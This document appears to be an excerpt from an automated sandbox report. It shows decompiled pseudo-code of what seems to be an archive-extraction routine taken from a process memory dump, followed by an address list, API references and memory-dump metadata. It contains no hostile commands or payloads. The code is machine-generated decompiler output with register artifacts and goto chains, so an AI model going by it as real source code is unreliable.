																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

0x004076aa
0x004076af
0x004076b9
0x004076c3
0x004076c7
0x004076cc
0x004076d3
0x004076d6
0x004076d9
0x00407708
0x00407709
0x0040770f
0x00407712
0x0040779c
0x0040779f
0x004077a6
0x004077ad
0x004077ca
0x004077e3
0x004077e7
0x004077ec
0x004077ee
0x004077f2
0x004077f6
0x004077f8
0x004077fc
0x004077fe
0x004077fe
0x004077fc
0x00407807
0x0040781a
0x0040781f
0x00407826
0x00407871
0x00407876
0x00407878
0x0040788a
0x00407890
0x00407896
0x004078a9
0x004078af
0x004078bd
0x004078c0
0x004078c4
0x004078c8
0x004078cc
0x004078df
0x004078e2
0x004078e8
0x004078ea
0x004078f7
0x004078f7
0x004078f7
0x004078f9
0x004078fc
0x0040790d
0x00407912
0x00407914
0x00408204
0x00408204
0x0040778b
0x0040778c
0x00407791
0x00407799
0x00407799
0x0040791f
0x00407930
0x00407935
0x00407939
0x0040794e
0x0040794e
0x00407952
0x00407952
0x00407955
0x0040795c
0x00407967
0x00407967
0x0040796c
0x00407975
0x0040797b
0x00407980
0x0040798a
0x0040798f
0x00407991
0x004079c5
0x004079cc
0x004079cc
0x004079d2
0x004079d2
0x004079de
0x00407a18
0x00407a22
0x00407a27
0x00407a29
0x00407a2f
0x00407a32
0x00407a32
0x00407a45
0x00407a4c
0x00407a4e
0x00407a50
0x00407a7e
0x00407a80
0x00407a94
0x00407a97
0x00407a9c
0x00407aa3
0x00407aa5
0x00407aac
0x00407abb
0x00407ac3
0x00407ac5
0x00407ac7
0x00407ace
0x00407ad6
0x00407ae2
0x00407ae7
0x00407ae7
0x00407ace
0x00407ac5
0x00407aac
0x00407aeb
0x00407af1
0x00407af6
0x00407afc
0x00407afe
0x00407b02
0x00407b06
0x00407b0a
0x00407b93
0x00407b93
0x00407b95
0x00407b9a
0x00407b9c
0x00407c29
0x00407c2d
0x00000000
0x00000000
0x00407c2f
0x00407c3a
0x00407c3c
0x00407c41
0x00000000
0x00407c41
0x00407ba2
0x00407ba6
0x00407c06
0x00407c0c
0x00407c10
0x00407c15
0x00407c1f
0x00000000
0x00407c1f
0x00407ba8
0x00407bad
0x00000000
0x00000000
0x00407baf
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407bbb
0x00000000
0x00000000
0x00407bbd
0x00407bc0
0x00407bc3
0x00407bca
0x00000000
0x00000000
0x00407bcc
0x00407bcc
0x00407bcc
0x00407bd8
0x00407bd9
0x00407bda
0x00407bdf
0x00000000
0x00407b10
0x00407b10
0x00407b13
0x00000000
0x00000000
0x00407b15
0x00407b19
0x00407c4c
0x00407c4c
0x00407c4f
0x00407c4f
0x00407c56
0x00407c7d
0x00407c81
0x004081a5
0x004081ab
0x004081af
0x004081b4
0x004081be
0x004081c3
0x004081c7
0x004081c9
0x004081c9
0x004081c9
0x004081c9
0x004081cf
0x004081cf
0x004081d2
0x004081d9
0x00000000
0x00000000
0x004081db
0x004081df
0x00407789
0x00407789
0x00000000
0x00407789
0x004081e5
0x004081ec
0x004081fa
0x004081fe
0x00000000
0x00000000
0x00000000
0x004081fe
0x004081ee
0x004081f0
0x00000000
0x004081f0
0x00407c87
0x00407c8a
0x00407c8f
0x00407c92
0x00407ca4
0x00407ca4
0x00407ca8
0x00407e5c
0x00407e5c
0x00407e60
0x00407e64
0x00407cef
0x00407cef
0x00407cf7
0x00407cfd
0x00407d03
0x00407d09
0x00407d26
0x00407d3c
0x00407d4d
0x00407d57
0x00407d5e
0x00407d63
0x00407d69
0x00407d6c
0x00407d6f
0x00407d71
0x00407de2
0x00407de2
0x00407def
0x00407df3
0x00407df9
0x00407e0c
0x00407e0c
0x00407e10
0x00407e10
0x00407e14
0x00407e18
0x00407e1c
0x00407f1c
0x00407f23
0x00407f25
0x00407f2c
0x00407f51
0x00407f52
0x00407f58
0x00407f63
0x00407f69
0x00407f6f
0x00407f75
0x00407f7b
0x00407f98
0x00407f2e
0x00407f2e
0x00407f34
0x00407f3a
0x00407f3d
0x00407f3d
0x00407f2c
0x00407f9d
0x00407f9f
0x00407fa4
0x00407fab
0x00407fdb
0x00407fdb
0x00407fdb
0x00407fdd
0x00407fdd
0x00407fe4
0x00407fef
0x00407ff6
0x00408017
0x00408017
0x0040801b
0x0040801f
0x0040807d
0x0040807d
0x00408081
0x00000000
0x00000000
0x00408087
0x0040808c
0x00408099
0x00408099
0x0040809d
0x004080b6
0x004080b6
0x004080ba
0x004080d7
0x004080d7
0x004080da
0x004080e1
0x004080e3
0x004080e3
0x004080e3
0x004080e3
0x004080f5
0x00408108
0x0040811b
0x0040812c
0x00408137
0x00408147
0x00408154
0x00408165
0x0040816a
0x0040816d
0x00408174
0x00408183
0x00408188
0x0040818a
0x00408199
0x00408199
0x0040818a
0x0040819e
0x00000000
0x0040819e
0x004080bc
0x004080bf
0x004080c6
0x00000000
0x00000000
0x004080d2
0x00000000
0x004080d2
0x0040809f
0x004080a6
0x00000000
0x00000000
0x004080ac
0x004080b0
0x00000000
0x00000000
0x00000000
0x004080b0
0x0040808e
0x00408093
0x00000000
0x00000000
0x00000000
0x00408093
0x00408021
0x00408025
0x00000000
0x00000000
0x00408027
0x00408029
0x00000000
0x00000000
0x0040802b
0x00408031
0x0040805b
0x00408061
0x00408065
0x00408066
0x00408068
0x00408068
0x00408074
0x00408078
0x00000000
0x00408078
0x00408033
0x00408039
0x00408043
0x00408043
0x0040804a
0x00000000
0x00000000
0x00408052
0x00408056
0x00408057
0x00000000
0x00408057
0x0040803b
0x00408041
0x00000000
0x00000000
0x00000000
0x00408041
0x00407ff8
0x00407fff
0x00000000
0x00000000
0x00408001
0x0040800c
0x0040800c
0x0040800e
0x00408010
0x00408010
0x00000000
0x0040800e
0x00408003
0x0040800a
0x00000000
0x00000000
0x00000000
0x0040800a
0x00407fe6
0x00000000
0x00407fe6
0x00407fb6
0x00407fce
0x00407fd3
0x00407fd5
0x00000000
0x00000000
0x00407fd7
0x00000000
0x00407fd7
0x00407e22
0x00407e28
0x00407e2b
0x00407e88
0x00407e9c
0x00407e9e
0x00407ea3
0x00407ea7
0x00407eeb
0x00407eeb
0x00407ef2
0x00407efe
0x00407efe
0x00407f02
0x00407f0f
0x00407f0f
0x00407f0f
0x00407f11
0x00407f11
0x00000000
0x00407f11
0x00407f04
0x00407f04
0x00407f08
0x00000000
0x00000000
0x00407f0c
0x00000000
0x00407f0c
0x00407ef4
0x00407ef8
0x00000000
0x00000000
0x00407efa
0x00407efa
0x00000000
0x00407efa
0x00407ea9
0x00407eb1
0x00000000
0x00000000
0x00407eb3
0x00407ebe
0x00407ec5
0x00407ec6
0x00407ec9
0x00407ed5
0x00407edc
0x00407edf
0x00407ecb
0x00407ecb
0x00407ecb
0x00407ee4
0x00407ee4
0x00407ee7
0x00407ee9
0x00000000
0x00000000
0x00000000
0x00407ee9
0x00407e2d
0x00407e30
0x00000000
0x00000000
0x00407e32
0x00407e35
0x00407e6f
0x00407e6f
0x00407e73
0x00000000
0x00000000
0x00407e7b
0x00407e81
0x00000000
0x00407e81
0x00407e37
0x00407e3a
0x00000000
0x00000000
0x00407e3c
0x00407e3f
0x00000000
0x00000000
0x00407e4e
0x00407e53
0x00000000
0x00407e53
0x00407dfb
0x00407dff
0x00000000
0x00000000
0x00407e01
0x00407e06
0x00407e0a
0x00000000
0x00000000
0x00000000
0x00407e0a
0x00407d73
0x00407d79
0x00000000
0x00000000
0x00407d7b
0x00407d87
0x00407d8d
0x00407d97
0x00407d9a
0x00407d9c
0x00000000
0x00000000
0x00407d9e
0x00407da4
0x00407da4
0x00407da6
0x00407dcb
0x00407ddd
0x00000000
0x00407ddd
0x00407da8
0x00407db2
0x00407db4
0x00407db9
0x00407dbf
0x00000000
0x00000000
0x00407dc1
0x00000000
0x00000000
0x00407dc3
0x00407dc9
0x00000000
0x00000000
0x00000000
0x00407dc9
0x00407daa
0x00407db0
0x00000000
0x00000000
0x00000000
0x00407db0
0x00407da0
0x00407da2
0x00000000
0x00000000
0x00000000
0x00407da2
0x00407ce9
0x00407ce9
0x00407ce9
0x00407ce9
0x00000000
0x00407ce9
0x00407cae
0x00407cb3
0x00407cb7
0x00407cbf
0x00407cc4
0x00407cc6
0x00407cd5
0x00407ce4
0x00407ce4
0x00407cc6
0x00000000
0x00407cb7
0x00407c94
0x00407c9b
0x00407c9e
0x00000000
0x00000000
0x00000000
0x00407c9e
0x00407c65
0x00407c69
0x00407c6d
0x00407c72
0x00407c74
0x00000000
0x00000000
0x00407c76
0x00407be1
0x00407be7
0x00407beb
0x00407bf0
0x00407bfa
0x00407bff
0x00000000
0x00407bff
0x00407b1f
0x00407b24
0x00407b27
0x00407c44
0x00407c44
0x00407c48
0x00000000
0x00000000
0x00000000
0x00407c4a
0x00407b2d
0x00407b30
0x00407b37
0x00000000
0x00000000
0x00407b3d
0x00407b44
0x00407b48
0x00407b4d
0x00407b4f
0x00407b80
0x00407b80
0x00407b84
0x00000000
0x00000000
0x00407b8a
0x00407b8a
0x00000000
0x00407b8a
0x00407b51
0x00407b55
0x00000000
0x00000000
0x00407b7b
0x00000000
0x00407b7b
0x00407b0a
0x004079ea
0x004079ef
0x004079f1
0x004079ff
0x00407a02
0x00407a09
0x00407a0f
0x00407a14
0x00407a14
0x00000000
0x00407a09
0x004079f3
0x00000000
0x004079f3
0x004079ce
0x004079ce
0x00000000
0x004079ce
0x004079a0
0x004079a5
0x004079a7
0x00000000
0x00000000
0x004079a9
0x004079b0
0x00000000
0x004079b2
0x004079be
0x00000000
0x004079be
0x004079b0
0x0040796e
0x00407973
0x00000000
0x00000000
0x00000000
0x00407973
0x0040795e
0x00407965
0x00000000
0x00000000
0x00000000
0x00407965
0x0040793b
0x0040793f
0x00000000
0x00000000
0x00407941
0x00407948
0x0040794c
0x00000000
0x00000000
0x00000000
0x0040794c
0x004078ec
0x004078f1
0x00000000
0x004078f3
0x004078f3
0x00000000
0x004078f3
0x004078f1
0x004078ce
0x004078d4
0x004078d7
0x004078d9
0x00000000
0x00000000
0x00000000
0x004078d9
0x0040787a
0x0040787d
0x00407884
0x00000000
0x00000000
0x00407886
0x00407886
0x00000000
0x00407886
0x0040782b
0x00407831
0x00407834
0x00000000
0x00000000
0x00407836
0x0040783a
0x00000000
0x0040783c
0x0040783c
0x0040783e
0x00407840
0x00407840
0x00407843
0x0040785b
0x0040785d
0x00000000
0x0040785f
0x0040785f
0x00407868
0x00000000
0x00407868
0x0040785d
0x0040783a
0x004077b5
0x004077bb
0x00000000
0x00000000
0x004077bd
0x004077c4
0x00000000
0x00000000
0x00000000
0x004077c4
0x00407718
0x0040771b
0x0040773a
0x0040773a
0x0040773d
0x00000000
0x00000000
0x00407743
0x0040774a
0x00000000
0x00000000
0x0040775a
0x0040775f
0x00407761
0x00407786
0x00000000
0x00407763
0x0040776a
0x00000000
0x0040776a
0x00407761
0x0040771d
0x00407724
0x00000000
0x0040772a
0x00407735
0x00000000
0x00407735
0x00407724
0x004076e2
0x00407701
0x00407701
0x00000000
0x00407701
0x004076f3
0x00000000
0x004076f5
0x004076fc
0x00000000
0x004076fc

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
